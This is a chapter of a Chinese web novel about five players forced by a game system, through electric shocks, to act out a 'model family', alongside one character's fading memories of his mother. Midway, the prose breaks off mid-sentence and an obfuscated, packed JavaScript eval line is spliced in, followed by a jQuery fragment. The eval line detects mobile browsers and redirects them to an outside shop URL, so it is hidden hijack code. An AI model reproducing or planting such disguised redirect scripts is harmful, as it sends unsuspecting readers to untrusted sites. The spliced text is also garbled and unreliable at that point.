谢意端着那杯温水，靠着沙发背闭着眼。水面的热气已经散了，杯壁的温度从温热变成微凉，又变成和室温一样的冷。
他的脑海中那些画面依然在缓缓浮动。母亲梳头时手指蹭过他耳廓的温度，缝纫机"嗒嗒嗒"的声响，断齿的木梳，碗底歪歪扭扭的字迹。这些东西像水底的泥沙被搅动之后慢慢翻上来，在记忆的水面铺了一层模糊的金色光晕。
然后他试图看得更清楚一些。他想看清她的脸。想把嘴角的弧度、眼尾的挑度、左边那颗虎牙全都拼在一起，拼出一张完整的面孔。但他凑近了看的时候，那些细节开始变得模糊。像一张焦距没有对准的照片，越努力盯就越看不清。
她的脸融成了一片暖色的光，只剩嘴角的轮廓还保留着。那些画面停在十五岁那年某个阳光很好的下午，她蹲在院子里晾衣服，回头喊他："过来帮妈妈抻一下被单。"
然后一切就停在那里了。
后面的画面是空的。像一本书被撕掉了后半部分，只剩前面的书页在风里哗哗翻动。他不知道她去了那个"有点远的地方"之后发生了什么。不知道她有没有回来。不知道那张纸条上写着"粥在锅里，喝完记得洗碗"之后，她又写过什么没有。
十五岁。她的画面停在十五岁。后面的一切都像被一块巨大的橡皮擦蹭掉了，只剩纸面上浅浅的印痕。
谢意握着杯子，指尖在杯壁上轻轻摩挲了一下。他睁开眼，看着杯底最后一口水面的倒影。
"……想不起来了。"他说。声音很轻，像自言自语。
江野坐在沙发扶手上听到了，转头看他："什么想不起来了？"
"十五岁以后的事情。她——"谢意停了一下。他还没有和任何人说过那些记忆碎片，还没有把"母亲"这个字眼放到桌面上来。但此刻他坐在沙发里，手指握着水杯，杯壁上那条裂纹正好抵着他的指腹，他觉得开口变得容易了一些。"……我想不起来她走之后的事了。"
许清寒端着另一杯水从窗边走过来，在他对面坐下。他没有追问，只是安静地坐着，用那种温温的、不打扰的目光看着他。
徐晓推了推眼镜，说："记忆有时候会被大脑自动封锁。创伤性事件之后的记忆空白——挺常见的。"
"她没有创伤。"谢意说。他说完自己沉默了一拍。他其实不知道。他记得她笑的样子，记得她哼的调子，记得她手指的温度。但他不记得她走之后发生了什么。那些空白像一块灰白色的幕布，把十五岁之后所有跟她有关的事情都盖住了。
他试着往深处想。想十五岁之后的日子，孤儿院，走廊尽头的铁门，消毒水和铁锈混在一起的气味，水泥地面上的水渍——但这些画面里没有她。她像被他放进了一个上了锁的抽屉里，钥匙丢了，抽屉打不开，只能隔着木头听见里面偶尔传出来的细微声响。
"算了。"他把杯子放下来，"想不起来的事，硬想也没用。"
他话说到一半，头顶那盏吊灯忽然闪了一下。
不是那种正常的、电流不稳的闪烁。是一瞬间的、剧烈的白光，亮得刺眼，然后整个客厅的灯光同时暗下去，暗到只剩一片灰蒙蒙的暗影。紧接着——一股电流从他的椅子腿传上来，沿着脊椎窜到后颈，像有人从背后狠狠拍了他一巴掌。
"滋——"
他整个人在椅子上挺直了背，牙齿咬合的时候发出一声极轻的咯吱声。电流只持续了不到一秒，但他松开扶手的时候，手掌被震得发麻。
同一瞬间，客厅里传来了三声闷响和一声极轻的惊呼。
江野直接从沙发扶手上被弹了下来，屁股着地，满脸写着"我操发生了什么"。徐晓扶着的桌面震了一下，他的手从词典上弹开，眼镜歪了一边。许清寒端着水杯的手抖了一下，杯里的水洒出来湿了裤腿。林安诚从沙发上弹起半寸又落回去，灰兔子从她膝盖上滚下来，掉在地毯上翻了个面。
然后系统的声音响起来。比平时更冷，像金属被冻脆了，一碰就会碎成碎片。
"提醒各位玩家：模范家庭行为规范现已启用主动监督机制。未及时履行家庭义务，将被处以轻度电击警示。"
"当前未完成事项："
"1. 上午学习时长：0小时。未达标。"
"2. 家务劳动：0件。未达标。"
"3. 家庭互动评分：——消极抵抗。未达标。"
"请各位玩家在十五分钟内完成至少两项义务。否则电击强度将逐步升级。"
声音消失了。客厅里的灯光重新亮起来，暖调的、温和的，像什么都没发生过。
江野坐在地上，揉着后腰，嘴张了半天才挤出一句完整的话："……我们被电了？"
"对。"徐晓把眼镜扶正，声音比平时紧了一度，"因为没有学习。没有做家务。没有——"他念出第三条的时候顿了一下，"——'家庭互动'。我们刚才一直在各自待着。"
"什么叫'家庭互动'？"江野从地上爬起来，拍了拍裤子上的灰，"咱们五个坐一块儿聊天算不算？"
"算。"谢意说。他把手从沙发扶手上拿起来看了看——手掌边缘有一道浅红的印痕，是被电流击过之后留下的。他把手放回膝盖上，语气依然平稳："但刚才我们没聊。各自想各自的事情。"
许清寒把洒出来的水擦干净，抬头看了看天花板，声音温温的但比平时低了一度："它要我们表演。要我们看起来像在认真学习，像在做家务，像在好好相处。"
江野："那电我们？它就直接电？连个警告都不给？"
"给过了。昨天的晚饭。"谢意站起来，走到客厅角落那张堆着杂物的小桌子前面，从桌面上拿起一本落了灰的练习册翻了翻，"昨天到今天，所有规则讲了一遍。该做的不做就是违规。它是按字面意思执行的。"
"那我们现在怎么办？"
"学。"
谢意把那本练习册翻到某一页看了看——四年级下册，应用题单元。他把练习册合上，放到茶几上，然后转头看着其他四个人。紫眼睛在重新恢复的暖光里平静地亮着，像两粒被水冲干净了的石子。
"学习，做家务，聊天。三项里面至少完成两项。十五分钟，够用。"
林安诚从地上捡起灰兔子拍了拍灰，重新抱回怀里。她走到茶几边，拿起那本四年级练习册，翻到第一页，拿起一支笔，趴在茶几边沿开始写。她的笔尖在纸面上沙沙响着，重瞳垂下去看着那些题号。
许清寒站起来，走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814546|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
进厨房。水龙头开了又关，抹布搓洗的声音传出来，然后是碗碟被轻轻摞起的脆响。他洗得很细致，每一只碗碟都冲洗了两遍才放进沥水架。
徐晓重新坐下，翻开词典。他坐姿标准，背挺得笔直，翻页的节奏不快不慢，像在按某种固定的节拍器执行。
江野站在客厅中央，左右看看，不知道该往哪个方向走。他站在学习区、家务区和聊天区的三角地带中间，像一个迷路的快递员。然后他看见了谢意——谢意正坐在单人沙发上，手里也拿起了一本书。一本从走廊小房间带出来的旧书，封面已经褪色了，印着"家庭护理常识"几个字。他翻开书页，紫眼睛慢慢扫过字行。
江野走过去在他旁边坐下来。他没拿书，但他做到了"聊天"这个动作："……你们都在学习做家务，我干什么？"
"你在聊天。"谢意翻了一页书，"我跟你聊了。算互动。"
"就这？"
"够。"
系统声音没有响。没有电击。客厅里的光线稳稳定在暖调上，空调的低鸣持续着。五个人各自做着各自的事——林安诚趴在茶几上写作业，许清寒在厨房刷碗，徐晓对着词典匀速翻页，谢意看着那本旧护理手册，江野坐在谢意旁边，两个人之间偶尔交换几句没营养的对话。
电流没有再出现。
但江野坐在那里，后腰那一小块皮肤还残留着电流通过的细微麻感。他低头看着自己手掌边缘那道浅浅的红痕，又看看谢意手边那道一模一样的印痕，心里那种"刚才确实被电了"的实感慢慢沉淀下来。
他开口说了一句，声音比平时收敛了很多："……它真的会一直加码吗？"
谢意翻了一页书。"会。"
"那如果明天、后天、大后天——我们一直演，一直学习，一直做家务，一直好好聊天——"
"那就一直活着。"
"那出去呢？怎么出去？"
谢意没有立刻回答。他翻完了那一页，把书合上放在膝盖上，紫眼睛平视着前方，看着客厅窗外的白色虚空。然后他开口说了一句只有两个人能听见的话："规则不一定是出路。"
江野愣了一下："——什么意思？"
"昨晚他们在走廊里说的。主卧的人。"谢意把书重新翻开，紫眼睛垂下去看着书页上模糊的字迹，"遵守规则只能活。要出去，得做规则以外的事。"
江野坐在他旁边，沉默了很长一段时间，然后把这句话含在嘴里翻来覆去嚼了好几遍。他没有再追问。
客厅里的光线继续安静地亮着。厨房传来许清寒把碗碟放回柜子里的细碎声响。林安诚用橡皮擦掉了一个错误的答案，重新写了一遍。徐晓把词典翻到了下一页。
谢意坐在沙发上，手指搭在书页边缘，紫眼睛看着那些泛黄的印刷字。十五分钟已经过去了。他没有被电。
但他脑海中那些画面依然在缓慢地浮动。母亲蹲在院子里晾衣服的画面，她回头对他笑的样子，那颗虎牙在阳光下闪了一下——然后一切又停在那里，停在一片暖色的光晕里，后面的画面是空的。
他把书翻到下一页。字行在眼前一行一行地移动。
他想不起来。但他隐约觉得，她一定还在某个地方等他去翻开。